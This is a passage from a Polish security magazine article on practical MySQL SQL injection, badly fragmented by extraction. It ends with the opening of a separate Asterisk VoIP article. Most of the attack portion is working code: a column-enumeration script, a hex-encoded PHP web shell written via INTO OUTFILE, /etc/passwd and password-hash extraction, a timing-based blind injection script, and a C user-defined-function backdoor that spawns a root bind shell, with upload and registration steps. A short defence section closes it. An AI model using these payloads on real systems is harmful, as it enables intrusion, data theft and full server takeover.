-eq 2

]

then

try_count=

$2

;

echo

-e

"Trying

$try_count

times

\n

"

else

try_count=40;

fi;

add_columns

()

{

sql=`

echo

$sql

| sed 's/--

%2

0//g'`;

sql=

"

${sql}

,

$

((i+1))--

%20

"

;

}

for

((

i=1; i

<

=

$try_count

; i++

))

do

if

[

$SKIP

-ne 0

]

; then

SKIP=

$

((

SKIP-1

))

;

add_columns;

continue

;

fi;

url=`

echo

$1

| sed

"s/_HERE_/

$sql

/"

`;

echo

"(

$i

) Trying URL:

$url

..."

;

if

! curl -x

"

$PROXY

"

"

$url

"

| lynx --dump -stdin | grep -A4 -B4 SQL |

grep -i different;

then

echo

echo

"I found it! The number of columns is

$i

"

echo

-e

"The correct URL is:

\n

$url

\n\n

"

exit

0

fi;

add_columns;

echo

;

done;

background image

Ataki SQL Injection w praktyce

hakin9 Nr 10/2007

www.hakin9.org

19

dzić inne – trudne do wykrycia z ze-
wnątrz – rodzaje błędów.

Po połączeniu informacji o poło-

żeniu katalogu domowego (plik pas-
swd
) z nazwą katalogu przechowu-
jącego strony (plik httpd.conf), mo-
żemy próbować odczytać pliki in-
deksowe:

load_file('/home/user_name/html_dir/

index.php')

Prawdopodobieństwo odczytania
pliku jest stosunkowo duże, ponie-
waż część administratorów nadaje
katalogowi

html _ dir

i jego plikom

prawa

o+rx

. Odczytanie pliku indek-

sowego wystarczy, aby – śledząc
odwołania typu

include()

– dotrzeć

do nazw kolejnych plików skryptu.
Warto tu również wspomnieć o funk-
cji

hex()

, która pozwoli skonwerto-

wać odczytany plik na postać szes-
nastkową. Przydaje się to zwłasz-
cza do odczytywania plików zawie-
rających znaki niedrukowalne. Po-

zwala też zapobiec interpretacji ko-
du przez właściwy skrypt lub prze-
glądarkę.

Pisanie do plików

MySQL oferuje możliwość zapisu do
wskazanego pliku poprzez parę ope-
ratorów polecenia

SELECT

:

OUTFILE

i

DUMPFILE

. Odbywa się to w taki oto

sposób:

SELECT * FROM tabela INTO
OUTFILE '/sciezka/do/pliku'

Ze względów bezpieczeństwa nadpi-
sywanie plików jest zabronione, dlate-
go ścieżka musi wskazywać nieistnie-
jący plik. Mimo to operatory te stano-
wią duże zagrożenie. Wystarczy wy-
obrazić sobie, że podczas przegląda-
nia źródeł PHP natrafiliśmy na frag-
ment:

$file =
fopen("mail/list1.txt","w");
fwrite($file,"$email \n");

Jest szansa, że programista w celu
zapewnienia poprawnej pracy skryp-
tu nadał katalogowi mail uprawnie-
nia

o+w

. W takim wypadku wystar-

czy napisać krótki skrypt PHP wy-
konujący komendy podane jako pa-
rametr

$cmd

:

<?php
$cmd = $_GET['cmd'];
$out = system("$cmd"); ?>

Taki skrypt po konwersji na postać
szesnastkową może zostać zapisa-
ny na serwerze z pomocą operato-
ra

OUTFILE

.

Po pomyślnym wykonaniu zapy-

tania przedstawionego na Listingu
7. uzyskamy możliwość wykonywa-
nia komend powłoki z uprawnieniami
procesu serwera WWW: http://host/
~user1/mail/run.php?cmd=ps
.

Czytanie baz danych

Podstawowy problem związany z wy-
ciąganiem informacji z nieznanej ba-
zy wiąże się z nieznajomością jej
struktury. Zazwyczaj nie jesteśmy w
stanie przewidzieć nazw baz, tabel
czy kolumn. Czasem informacje te
pojawiają się w generowanych przez
serwer komunikatach o błędach, lecz
są to tylko szczątkowe dane. Nowsze
wersje serwera MySQL udostępnia-
ją specjalną bazę –

information _

schema

, która znakomicie ułatwia pra-

cę z nieznanymi danymi.

W celu przyspieszenia operacji od-

czytu danych z bazy można wykorzy-
stać funkcję

concat()

, która pozwala

scalić wartości kilku pól w jeden ciąg
znaków. Przykładowo, zapytanie:

SELECT concat('[ ',imie,'=',
nazwisko,'=', telefon,'=', mail,' ]')
FROM sklepDB.zamowienia

wyświetli zawartość czterech pól ta-
beli zamowienia, rozdzielone znaka-
mi równości.

Kradzież haseł

Serwer MySQL przechowuje infor-
macje o użytkownikach w bazie da-
nych o nazwie mysql. Baza ta za-
wiera dane potrzebne do autoryzacji
użytkowników, a także określa przy-

Trzy zapytania do information_schema

SELECT schema_name FROM information_schema.schemata

,

SELECT table _ name FROM information _ schema.tables WHERE table _
schema='wybrana _ baza'

,

SELECT column _ name FROM information _ schema.columns WHERE table _
schema='wybrana _ baza' AND table _ name='wybrana _ tabela'

uzyskamy odpowiednio: listę wszystkich dostępnych baz, kompletną listę tabel bazy

wybrana_baza

, oraz kompletną listę pól zawartych w bazie

wybrana_baza

. Posiadając

te informacje możemy już kierować zapytania do konkretnych tabel.

Rysunek 4.

Skrypt num_of_cols.sh w akcji

background image

hakin9 Nr 10/2007

www.hakin9.org

Początki

20

sługujące im przywileje. Kluczowa ta-
bela w niej zawarta to user, która po-
siada m. in. następujące pola:

user

– nazwa użytkownika,

host

– host, z którego użytkownik

ma prawo się łączyć,

password

– zaszyfrowane hasło w

postaci skrótu (hash).

Domyślnie tylko użytkownik o loginie
root ma do niej dostęp. Jednak zda-
rza się, że administrator definiując do-
stępne obiekty dla nowego użytkowni-
ka wpisuje po prostu

*.*

– co oznacza

wszystkie bazy i tabele, łącznie z my-
sql.user
.

Skróty haseł różnią się między so-

bą długością. Krótsze wynikają z za-
stosowania starszego mechanizmu
generowania hashy – używanego w
wersjach serwera MySQL starszych
niż 4.1. Takie hasła są bardzo podat-
ne na atak siłowy (brute force).

Czas siłowego złamania 7-zna-

kowego hasła zawierającego różnej
wielkości litery, cyfry czy nawet znaki
specjalne, na przeciętnym kompute-
rze nie przekracza zwykle 5 minut.

Należy pamiętać, że rozkodowanie

hasła nie gwarantuje uzyskania dostę-
pu do bazy. O tym, czy dany użytkow-
nik będzie mógł zalogować się na da-
ne konto decyduje pole

host

. Jeśli jest

ono puste lub zawiera znak

%

, oznacza

to, że na konto można zalogować się z
dowolnego miejsca. Czy jednak hasła
kont zezwalających wyłącznie na do-
stęp z lokalnego adresu są zupełnie
bezużyteczne? Bynajmniej – istnieje
przecież szansa, że użytkownik po-
siada również konto systemowe (z do-
stępem do powłoki) z identycznym ha-
słem. Posiadając hasło do konta, któ-
re zezwala na zdalny dostęp, możemy
uzyskać bezpośrednie połączenie z

bazą (poleceniem

mysql

). Nie będzie-

my już ograniczeni do polecenia

UNION

SELECT

. Zyskamy możliwość wykony-

wania pozostałych komend SQL – w
granicach uprawnień przypisanych do
konta. Jeśli konto ma nadane maksy-
malne uprawnienia – z bazą można
zrobić praktycznie wszystko.

Zdalny dostęp do serwera pozwala

też na wykonanie dokładnej kopii wy-
branej bazy na lokalnym dysku twar-
dym. Służy do tego narzędzie mysql-
dump
, wywołane w taki sposób:

mysqldump -u admin -p'pass' \
-h host sklepDB >dump.sql

Problemy, na jakie może

napotkać atakujący

Ataki SQL Injection rzadko kiedy prze-
biegają bezproblemowo. Trudności w
określeniu miejsca pozwalającego na
wstrzyknięcie kodu, filtrowanie danych

wejściowych pod kątem znaków spe-
cjalnych czy brak wyświetlania wyni-
ków na stronie WWW to tylko część
problemów mogących wystąpić pod-
czas ataku. Wystarczająco zdetermi-
nowany napastnik jest jednak w stanie
przezwyciężyć niektóre z nich.

Magiczne apostrofy

Jeśli w konfiguracji PHP aktywowa-
na zostanie opcja

magic _ quotes _ gpc

,

to wszystkie dane pochodzące z ze-
wnątrz (przekazane za pomocą me-
tod

GET

,

POST

czy też ciasteczek) zosta-

ną automatycznie zabezpieczone. Jeśli
zmienna zawiera znaki:

,

'

czy

\

, to

przed każdym z nich dopisany zostanie
znak odwrotnego ukośnika (

\

) – likwidu-

jąc w ten sposób specjalne znaczenie
każdego z wspomnianych znaków.

Zakładając, że omawiana opcja

jest aktywna, a w kodzie PHP znaj-
duje się linijka:

Wbudowane funkcje serwera MySQL

MySQL oferuje pokaźny zestaw wbudowanych funkcji, które pozwalają na wykonanie
określonych czynności po stronie serwera. Stanowią one nieocenioną pomoc dla na-
pastnika. Funkcje najczęściej używane w atakach SQL Injection to:

load_file()

– odczytuje wskazany plik,

user()

– zwraca nazwę aktualnie zalogowanego użytkownika,

database()

– zwraca nazwę aktualnie używanej bazy,

sleep()

– wstrzymuje pracę skryptu na określoną ilość sekund,

hex()

,

unhex()

– konwersja liczb szesnastkowych,

char()

– zamiana liczby na znak (w kodzie ASCII),

concat()

– połączenie ze sobą ciągów znaków,

if()

– tworzenie warunku,

ascii()

– zwraca kod ASCII podanego znaku,

count()

– zlicza otrzymane rekordy.

Zmienne systemowe serwera MySQL

Serwer MySQL przechowuje w pamięci dużą ilość zmiennych, które zawierają kluczowe
informacje na temat konfiguracji bazy danych, a także o systemie operacyjnym. Zmien-
ne, które mogą okazać się szczególnie przydatne podczas rekonesansu to:

basedir

– katalog bazowy,

datadir

– katalog przechowujący pliki baz danych,

initfile

– ścieżka do pliku z poleceniami SQL, które zostaną wykonane podczas

startu serwera,

port

– numer portu na którym działa daemon MySQL,

version

– wersja serwera,

version _ compile _ machine

– architektura atakowanej maszyny,

version _ compile _ os

– rodzaj systemu operacyjnego.

Pełną listę zmiennych wraz z ich wartościami uzyskamy wydając polecenie:

show

variables

, w programie mysql monitor.

Rysunek 5.

Wyświetlenie wyniku

funkcji user() na atakowanej stronie

background image

Ataki SQL Injection w praktyce

hakin9 Nr 10/2007

www.hakin9.org

21

$query = ”SELECT * FROM tabela WHERE
imie='”. $_GET['imie'] .”'”;

to przekazanie na wejście skryptu
zmiennej

imie

równej

dave' UNION

Select 1

– sprawi, że końcowe zapy-

tanie przyjmie postać:

SELECT * FROM tabela WHERE
imie='dave\' UNION Select 1 --'

Nie przyniesie ono oczekiwanego
efektu, gdyż wstawiony znak apostro-
fu straci swoją funkcję – przez co ca-
ła zawartość zmiennej zostanie za-
mknięta między pierwotnymi apostro-
fami, a następnie potraktowana jako
łańcuch znaków.

Atakujący wciąż ma szansę na

przeprowadzenie ataku. Musi tylko
znaleźć zmienną, która nie jest oto-

czona apostrofami. Takie sytuacje wy-
stępują w momencie, gdy programista
chce przekazać do zapytania zmien-
ną liczbową. Np. przesłanie zmien-
nej

ile _ lat

równej

0 UNION SELECT

1

do skryptu PHP zawierającego in-

strukcję:

$query = "SELECT * FROM uzytkownicy
WHERE wiek=$ile_lat"

da zamierzony rezultat – doklejony

SELECT

zostanie zinterpretowany ja-

ko kod SQL.

Problem jednak powróci w mo-

mencie, gdy atakujący będzie próbo-
wał przekazać nazwę pliku do funkcji

load _ file()

albo użyć operatora

WHERE

z podaniem ciągu znaków np.:

WHERE table_schema='sklepDB'

W obu przypadkach apostrofy po-
nownie zostaną poprzedzone zna-
kiem

\

, a serwer zwróci błąd skład-

ni. Jest jednak na to sposób. Za-
miast podawać ciąg znaków ograni-
czony apostrofami, można skonwer-
tować kod ASCII każdej z tworzą-
cych go liter na postać heksadecy-
malną – poprzedzając całość znaka-
mi

0x

. Tak spreparowany ciąg może

zostać podany jako argument dowol-
nej funkcji. Odczytanie pliku /etc/pas-
swd
bez użycia apostrofów wygląda-
łoby więc tak:

load_file(0x2F6574632F706173737764)

Natomiast zdefiniowanie nazwy ba-
zy (sklepDB):

WHERE table_schema=0x736B6C65704442

Pewną alternatywą jest również funk-
cja

char()

, pozwalająca określić ciąg

znaków w postaci liczb dziesiętnych:

char(84,101,115,116)

Przy pomocy tych funkcji atakują-
cy jest w stanie zakodować więk-
szość ciągów znaków. Niekiedy jed-
nak apostrofy muszą być podane jaw-
nie. Jest tak np. w przypadku opera-
tora

OUTFILE

polecenia

SELECT

. To zna-

czy, że zapytanie:

SELECT 1,2,3 INTO OUTFILE 'liczby'

nie może zostać zamienione na:

SELECT 1,2,3 INTO OUTFILE
OUTFILE 0x6C69637A6279

gdyż serwer zwróci błąd składni.

Skrypt nie zwraca błędów

Jeżeli informowanie o błędach PHP/
SQL zostanie wyłączone przez ad-
ministratora, atakującemu dużo trud-
niej będzie nawiązać kontakt z bazą
danych. Jeśli badana strona nie wy-
świetla błędów, atakujący zmuszony
jest obserwować reakcje strony (np.
zmiany jej wyglądu) po zmodyfiko-
waniu wartości wybranej zmiennej.

Załóżmy, że strona księgarni za-

wiera jakąś listę, powiedzmy listę no-

Information_schema

Baza

information_schema

jest informacyjną bazą danych tylko do odczytu. Została

wprowadzona w wersji 5.0.2 serwera MySQL. Zawiera ona tabele, w których znajdu-
ją się informacje na temat wszystkich danych dostępnych dla wybranego użytkownika.
Jest ona nieocenioną pomocą dla atakującego, który – kierując do niej zapytania – jest
w stanie poznać strukturę dostępnych baz danych czy też ustalić przywileje. Tabele tej
bazy zawierające kluczowe informacje to:

SCHEMATA

– dostępne bazy danych,

TABLES

– spis tabel zawartych w bazach,

COLUMNS

– lista pól każdej z dostępnych tabel,

USER _ PRIVILEGES

– przywileje użytkownika.

Dokładną listę pól każdej z tych tabel uzyskamy poleceniem

describe nazwa_tabeli

.

Rysunek 6.

Łamanie 16-bajtowych skrótów haseł MySQL

background image

hakin9 Nr 10/2007

www.hakin9.org

Początki

22

wo wydanych książek. Widząc w ad-
resie URL parametr

month=April

moż-

na łatwo skojarzyć, że odpowiada on
najprawdopodobniej za generowanie
listy książek wydanych w danym mie-
siącu. Jeśli po zamianie tego parame-
tru na

month=April' OR 1=1--

okaże

się, że lista książek uległa zwiększe-
niu (wyświetlone zostały tytuły z ca-
łego roku), oznacza to, że udało się
wstrzyknąć kod. Następnie można
próbować wyświetlić własny tekst lub
liczbę na stronie, korzystając z kombi-
nacji poznanych już operatorów:

month=April' LIMIT 0
UNION SELECT 'sql-inj'--

Skrypt nie zwraca

rezultatów zapytań

Najtrudniejszym atakiem typu SQL
Injection jest atak na skrypt, który
w żaden sposób nie prezentuje wy-
ników zapytania na stronie. Może
tak się zdarzyć choćby w sytuacji,
gdy skrypt otrzymane w wyniku za-
pytania rekordy wykorzystuje tylko
do wewnętrznych obliczeń. Atakują-
cy nie będzie miał więc pojęcia, co
zwróciło wstrzyknięte zapytanie. Ist-
nieje jednakże pewna sztuczka, któ-
ra pozwoli na ustalenie wyników za-
pytania. Opiera się ona na fakcie, iż
jesteśmy w stanie stwierdzić, ile cza-
su zajęło załadowanie strony.

Powiedzmy, że chcemy się do-

wiedzieć czy użytkownikiem bazy
jest root. Aby to ustalić, można utwo-
rzyć zapytanie, które sprawdzi czy
funkcja

user()

zwraca taki login – je-

śli tak, to generuje kilkusekundowe
opóźnienie. Mierząc czas ładowania
strony jesteśmy w stanie stwierdzić,
czy zapytanie zwróciło wynik pozy-
tywny bądź negatywny. Utworzenie
takiego zapytania jest jak najbardziej
realne. Wymaga to zastosowania in-
strukcji warunkowej

IF

oraz funkcji

sleep()

, która pozwala wstrzymać

przetwarzanie zapytania na określo-
ny czas. Instrukcja warunkowa

IF

jest

tak naprawdę funkcją przyjmującą
trzy argumenty:

if (warunek, wynik_pozytywny, wynik_

negatywny)

Oto prosty przykład jej użycia:

SELECT IF(5>2, 'wieksze', 'mniejsze')

Warunek

5>2

jest zawsze prawdzi-

wy (

TRUE

), dlatego wynikiem zapyta-

nia będzie ciąg znaków

wieksze

. Od-

wracając znak nierówności w stronę
liczby 2 otrzymamy słowo

mniejsze

.

Zapytanie generujące opóźnienie w
przypadku, gdy użytkownikiem bazy
jest root będzie więc wyglądało tak:

SELECT IF(user() LIKE 'root%',
sleep(10), 0)

Listing 7.

Zapytanie zapisujące skrypt PHP na serwerze

SELECT

unhex

(

'3C3F7068702024636D64203D20245F4745545B27636

D64275D3B20246F7574203D2073797374656D282224636D6422293B
203F3E'

)

INTO

OUTFILE

'/home/user1/mail/run.php'

;

Listing 8.

Skrypt timing.sh

#!/bin/bash

# Skrypt pozwala odczytac dane z bazy przy uzyciu metody czasowej

.

# Nalezy ustawic parametry URL, FIELD, DELAY oraz

# ewentualnie sql i FROM. DELAY, powinien byc ustawiony na wartosc

# o 2s wieksza niz normalny czas ladowania strony

URL=

"http://www.page-with-bug/?q=_HERE_"

FIELD=

"user()"

#FROM="from mysql.user where user=

'root'"

DELAY=6

sql="

LIMIT 0 union select

if

(

(

ascii

(

substring

(

$FIELD

,x,1

)

)>>

x

)

\&1 ,

sleep

(

$DELAY

)

, 0

)

$FROM

"

function change(){

new_sql="

`

echo

$sql

| sed

"s/,x,/,

$1

,/; s/>>x/>>

$2

/"

`

"

new_url="

`

echo

$URL

| sed

"s/_HERE_/

$new_sql

/"

`"

}

function

bin2dec

(

){

MUL=1

for

((

i=0; i

<

$1; i++)); do

MUL=`expr $MUL \* 2`

done

DEC=`expr $DEC \+ $MUL`

}

char_number=0

TIME_SUM=0

while :; do

DEC=0

char_number=`expr $char_number \+ 1`

echo -en

"\n\n### Obtaining char number $char_number ###\n\n"

for shift in 0 1 2 3 4 5 6; do

change $char_number $shift

echo $new_url

new_url=`echo $new_url | sed

"

s/ /%20/g; s/

>

/

%3

e/g; s/&/

%26

/g

"`

TIME="

`/usr/bin/

time

-f

"

%e

"

curl -s -o /dev/null

"

$new_url

"

2

>

&1 | cut

-d. -f1`

"

echo -en "

\tBit no.

$shift

(

$TIME

seconds

)

==

"

TIME_SUM=`expr

$TIME_SUM

\+

$TIME

`

if [

$

((

$TIME

)) -lt

$DELAY

]; then

echo "

0

";

else echo "

1

";

bin2dec

$shift

fi

done

echo -en "

\nThe character is:

"

if [

$DEC

-eq 0 ]; then echo NULL; break; fi

Hex=`printf

%x

$DEC

`

Char=`echo -en "

\x

$Hex

"`

echo "

$Char

"

string="

$string$Char

"

done

echo –n "

\nThe

string

you were looking

for

is:

'$string'

, obtained in

${TIME_

SUM}

s"

background image

Ataki SQL Injection w praktyce

hakin9 Nr 10/2007

www.hakin9.org

23

Gdy warunek zostanie spełniony, czas
potrzebny na wyświetlenie strony po-
winien wydłużyć się o – w przybliże-
niu – 10 sekund, co bez trudu zauwa-
żymy. Choć metoda ta wydaje się try-
wialna, może przynieść zaskakują-
ce efekty. Pozwala ona nie tylko na
odczytywanie wyników prostych po-
równań, ale również na czytanie ca-

łych ciągów znaków! Jak to możliwe?
Rozbijając ciąg na poszczególne zna-
ki, a następnie każdy bajt (znak) na bi-
ty – otrzymujemy zbiór elementarnych
stanów 1 i 0, które mogą następnie zo-
stać przedstawione przez opóźnienie i
brak opóźnienia. Pozostaje pytanie,
jak dokonać rozkładu na bity z pozio-
mu zapytania SQL? Z pomocą znów

przychodzą wbudowane funkcje. Za-
pytanie:

SELECT IF
((ascii(substring(user(),1,1) )>>0)&1,

sleep(10), 0 )

konwertuje pierwszy znak ciągu zwró-
conego przez funkcję

user()

, a na-

stępnie porównuje najmłodszy bit z je-
dynką. Jeśli porównanie zwróci war-
tość

TRUE

, to wykonywana jest funk-

cja

sleep()

. W celu rozpoznania znaku

musimy taką operację wykonać 7 ra-
zy (znaki z podstawowego kodu ASCII
kodowane są na 7 bitach) – za każ-
dym razem zwiększając przesunię-
cie bitowe (symbol

>>

) o jeden. Oczy-

wiście ręczne przeprowadzenie takiej
operacji byłoby bardzo czasochłon-
ne, a ponadto łatwo tu o pomyłkę.
Cały proces można zautomatyzować
– przy pomocy skryptu z Listingu 8.

Zdobywanie roota

poprzez MySQL

Serwer MySQL pracuje domyślnie na
specjalnie utworzonym systemowym
koncie (zwykle

mysql

).Zdarza się jed-

nak, że administrator nadaje złe upraw-
nienia katalogom przechowującym pli-
ki bazy danych, na co serwer reaguje
błędami o braku dostępu i odmawia
uruchomienia. Część administratorów
zamiast szukać przyczyny tych błędów
– beztrosko uruchamia serwer z opcją

--user root

. Uruchomienie serwera

na koncie roota w pewnych okoliczno-
ściach może doprowadzić do przejęcia
pełnej władzy nad systemem.

Jeżeli posiadamy dostęp do konta

z uprawnieniami

FILE

i

CREATE

w odnie-

sieniu do systemowej bazy mysql, to
występuje spore prawdopodobieństwo
uzyskania powłoki z uprawnieniami
administratora. Taki atak możliwy jest
dzięki temu, że serwer MySQL umoż-
liwia dodawanie funkcji zdefiniowa-
nych przez użytkownika (

User-Defined

Functions

). Funkcje te mogą być pisa-

ne przy użyciu języka C oraz ładowane
w czasie działania bazy – jako bibliote-
ki współdzielone (shared library).

Na Listingu 9. przedstawiony zo-

stał przykładowy kod zawierający
funkcję, która – po wykonaniu przez
serwer MySQL – otworzy tylną furt-

Listing 9.

Biblioteka z funkcją UDF otwierającą tylną furtkę

#include

<stdio.h>

#include

<stdlib.h>

#include

<stdio.h>

#include

<signal.h>

#include

<sys/types.h>

#include

<sys/socket.h>

#include

<netinet/in.h>

#include

<mysql.h>

#define PORT 5559

int

backdoor_init

(

UDF_INIT

*

initid

,

UDF_ARGS

*

args

,

char

*

message

)

{

return

0

;

}

;

char

*

backdoor

(

UDF_INIT

*

initid

,

UDF_ARGS

*

args

,

char

*

result

,

unsigned

long

*

length

,

char

*

is_null

,

char

*

error

)

{

int

soc_des

,

soc_cli

,

soc_rc

,

soc_len

,

server_pid

,

cli_pid

;

struct

sockaddr_in

serv_addr

;

struct

sockaddr_in

client_addr

;

if

(

fork

()

!=

0

)

{

*

is_null

=

0

;

*

length

=

strlen

(

"All right, it's open!"

);

strcpy

(

result

,

"All right, it's open!"

);

wait

(

0

);

return

result

;

}

soc_des

=

socket

(

AF_INET

,

SOCK_STREAM

,

IPPROTO_TCP

);

if

(

soc_des

==

-

1

)

exit

(-

1

);

bzero

((

char

*)

&

serv_addr

,

sizeof

(

serv_addr

));

serv_addr

.

sin_family

=

AF_INET

;

serv_addr

.

sin_addr

.

s_addr

=

htonl

(

INADDR_ANY

);

serv_addr

.

sin_port

=

htons

(

PORT

);

soc_rc

=

bind

(

soc_des

,

(

struct

sockaddr

*)

&

serv_addr

,

sizeof

(

serv_

addr

));

if

(

soc_rc

!=

0

)

exit

(-

1

);

setpgrp

();

signal

(

SIGHUP

,

SIG_IGN

);

if

(

fork

()

!=

0

)

exit

(

0

);

soc_rc

=

listen

(

soc_des

,

5

);

if

(

soc_rc

!=

0

)

exit

(

0

);

while

(

1

)

{

soc_len

=

sizeof

(

client_addr

);

soc_cli

=

accept

(

soc_des

,

(

struct

sockaddr

*)

&

client_addr

,

&

soc_

len

);

if

(

soc_cli

<

0

)

exit

(

0

);

server_pid

=

fork

();

if

(

server_pid

!=

0

)

{

dup2

(

soc_cli

,

0

);

dup2

(

soc_cli

,

1

);

dup2

(

soc_cli

,

2

);

execl

(

"/bin/sh"

,

"sh"

,

"-i"

,

(

char

*)

0

);

close

(

soc_cli

);

exit

(

0

);

}

close

(

soc_cli

);

}

}

background image

hakin9 Nr 10/2007

www.hakin9.org

Początki

24

kę (backdoor) na porcie 5556 serwe-
ra. Po połączeniu na ten port otrzy-
mamy powłokę z uprawnieniami ad-
ministratora systemu.

Prześledźmy proces ataku z uży-

ciem tak przygotowanej biblioteki.
Zaczynamy od kompilacji programu
w poniższy sposób:

gcc -I /usr/include/mysql -O3 \
-shared -o backdoor.so backdoor.c

gdzie opcja

-I

określa ścieżkę do pli-

ków nagłówkowych serwera MySQL.
Następnie konwertujemy powsta-
łą bibliotekę na postać szesnastko-
wą. Najłatwiej posłużyć się tu pole-
ceniem:

hexdump -ve '1/1 "%02X"' \
backdoor.so >backdoor.hex

Posiadając plik backdooor.hex, mo-
żemy przesłać go na serwer. Posłuży
do tego oczywiście zapytanie

SELECT

oraz operator

DUMPFILE

, który zezwala

na tworzenie plików binarnych (opera-
tor

OUTFILE

dokonuje kilku konwer-

sji, np. bajt zerowy zamienia na za-
pis

\0

). Pozostaje pytanie, gdzie za-

pisać bibliotekę? Musi to być kata-
log przeszukiwany przez systemowy
linker/loader – jak np. katalog /lib. Po-
lecenie

SELECT

zapisujące, a zarazem

dekodujące plik (z powrotem na po-
stać binarną) musi zostać wywołane
w takiej formie:

SELECT 0x[plik_backdoor_hex]
INTO DUMPFILE '/lib/backdoor.so'

Aby to osiągnąć, wydajemy z wier-
sza poleceń komendę:

mysql -uadmin -phaslo -hhost -e \
”SELECT 0x`cat backdoor.hex` INTO \
DUMPFILE '/lib/backdoor.so' ”

Gdy biblioteka znajdzie się już w kata-
logu /lib atakowanego serwera, przy-
stępujemy do głównej części ataku
– zdefiniowania oraz uruchomienia
nowej funkcji UDF. Po zalogowaniu
na atakowany host (przez mysql mo-
nitor) wybieramy bazę:

mysql> use mysql;

a następnie tworzymy funkcję o na-
zwie backdoor:

mysql> CREATE FUNCTION backdoor
> RETURNS string
> SONAME 'backdoor.so';

Zapytanie to, poza nazwą tworzonej
funkcji, definiuje typ zwracanej war-
tości oraz plik biblioteki, który zawie-
ra kod funkcji. Od tej pory nowopow-
stała funkcja backdoor jest gotowa
do użycia, o czym możemy się łatwo
przekonać próbując ją wykonać:

mysql> SELECT
> backdoor('whatever');

Jeśli nie wystąpi żaden problem, funk-
cja zwróci napis All right, it's open! Po
połączeniu programem telnet na port
5559 powinna zgłosić się powłoka
bash z uprawnieniami roota.

Obrona przed atakami

SQL Injection

Aby zabezpieczyć się przed atakami
omówionymi w tym artykule, koniecz-
ne jest przedsięwzięcie odpowied-
nich działań – zarówno ze strony ad-
ministratora, jak i programisty. Admini-
strator powinien zadbać o to, aby użyt-
kownicy posiadali jedynie minimalny
zestaw uprawnień oraz dostęp tylko
do tych baz, które są przez nich wyko-
rzystywane. W miarę możliwości zale-

W Sieci

http://www.securityfocus.com/infocus/1726 – opis instalacji serwera MySQL w od-

izolowanym środowisku – chroot,

http://dev.mysql.com/doc/refman/5.0/en/security-against-attack.html – zbiór po-

rad na temat zabezpieczania serwera MySQL,

http://dev.mysql.com/doc/refman/5.1/en/adding-udf.html – informacje na temat

tworzenia funkcji UDF,

http://www.frsirt.com/bulletins/354 – źródło programu mysqlfast.c.

Rysunek 8.

Uzyskanie powłoki z uprawnieniami roota

Rysunek 7.

Schemat obrazujący

działanie metody czasowej

���������������������
������������������������������

����������

����������

��������
��������
��������
��������
��������
��������
���������

���������
���������

���������
���������
���������

�����������������

background image

Ataki SQL Injection w praktyce

hakin9 Nr 10/2007

www.hakin9.org

25

ca się nawet utworzenie kilku kont dla
każdego użytkownika – z różnymi po-
ziomami uprawnień. Jeśli zajdzie po-
trzeba skorzystania z funkcji operują-
cych na plikach, będzie on pracował
na koncie posiadającym uprawnienie

FILE

itd. W tak zaprojektowanej ba-

zie, nawet jeśli atakującemu uda się
wstrzyknąć kod SQL, zyska on dostęp
do mniej uprzywilejowanego konta. W
żadnym wypadku nie należy nada-
wać uprawnień licząc na to, że mogą
się one przydać w przyszłości. Każ-
de konto powinno mieć przypisaną
nazwę hosta, z którego akceptowane
są połączenia. Jeśli nie udostępniamy
kont na zewnątrz serwera, dostęp sie-
ciowy do bazy powinien zostać wyłą-

czony całkowicie. Ponadto, gdy strona
przejdzie gruntowną fazę testów, ad-
ministrator powinien wyłączyć opcje
związane z wyświetlaniem błędów
PHP oraz SQL (opcje

display _ errors

oraz

mysql.trace _ mode

pliku php.ini).

Programista powinien zadbać o

to, by każda zmienna pochodząca od
użytkownika była dostatecznie filtro-
wana, zanim trafi do zapytania prze-
syłanego do bazy. Filtracja zmiennych
tekstowych powinna odbywać się z
użyciem funkcji

mysql _ real _ escape _

string()

, która działa podobnie jak

opcja

magic _ quotes _ gpc

. Natomiast

filtracja zmiennych liczbowych powin-
na zaczynać się od wywołania funkcji

is _ numeric()

, która ustali czy przeka-

zana wartość faktycznie jest liczbą (je-
śli nie, najprawdopodobniej ktoś próbu-
je przeprowadzić atak). Dodatkowo na-
leży dokonać konwersji na format licz-
bowy – używając funkcji

intval()

oraz

floatval()

odpowiednio dla liczb całko-

witych i zmiennoprzecinkowych. Są
to podstawowe zasady, których ścisłe
przestrzeganie na pewno podniesie
ogólny poziom bezpieczeństwa. Czy-
telników chcących pogłębić swoją wie-
dzę na temat różnych metod zabezpie-
czania serwera MySQL zachęcam do
odwiedzenia linków z ramki W Sieci.

Podsumowanie

Przekonaliśmy się, że pozornie nie-
wielki błąd (brak apostrofów) może do-
prowadzić do wycieku danych. Dlate-
go dokładna analiza kodu aplikacji sie-
ciowej pod kątem filtracji danych wej-
ściowych, a także zabezpieczenie sa-
mego serwera powinno stanowić obo-
wiązkową czynność przed udostęp-
nieniem aplikacji w sieci Internet. l

O autorze

Autor jest samoukiem, pasjonatem, od wielu lat interesującym się informatyką, a w szcze-
gólności aspektami bezpieczeństwa. Studiuje sieci komputerowe w ramach programu Ci-
sco Network Academy na Politechnice Poznańskiej. Kontakt: golunski@crackpl.com

R

E

K

L

A

M

A

background image

www.hakin9.org

hakin9 Nr 10/2007

26

Atak

Z

e względu na zdobytą popularność, Vo-
IP można nazwać jedną z najważniej-
szych usług teleinformatycznych ostat-

niej dekady. Mimo tego, iż systemów i produk-
tów oferujących rozmowy pakietowe jest na
rynku coraz więcej, szybkość rozwoju tej usłu-
gi nie jest tak imponująca, jak to pierwotnie pro-
gnozowano. Przyczyn takiego stanu rzeczy na-
leży upatrywać w nadal nierozwiązanych pro-
blemach, które wpływają negatywnie na roz-
wój VoIP. Chodzi tu przede wszystkim o proble-
my z zagwarantowaniem odpowiedniej jakości
usługi pomiędzy rozmawiającymi oraz niewy-
starczający poziom zabezpieczeń, szczegól-
nie w zakresie bezpieczeństwa protokołu sy-
gnalizacyjnego, na którym dany system tele-
fonii IP bazuje.

Na tym tle Asterisk (Rysunek 1) to produkt

stosunkowo młody, jednakże cieszący się już w
świecie telefonii VoIP dość dużą popularnością.
Jest to programowa centralka IP PBX oferują-
ca wsparcie dla najpopularniejszych obecnie ze-
standaryzowanych protokołów sygnalizacyjnych
telefonii IP, tj. SIP (ang. Session Initiation Proto-
col
), H.323, MGCP (ang. Media Gateway Con-
trol Protocol
) oraz producenckich SCCP (firmy
Cisco), czy IAX2 (ang. InterAsterisk eXchan-

ge wersja 2). Umożliwia również wykorzysta-
nie szerokiej gamy kodeków mowy, jednocze-
śnie zapewniając bogatą listę usług telekomuni-
kacyjnych związanych z obsługą połączeń oraz
taryfikacją. Dodatkowo pozwala na współpracę
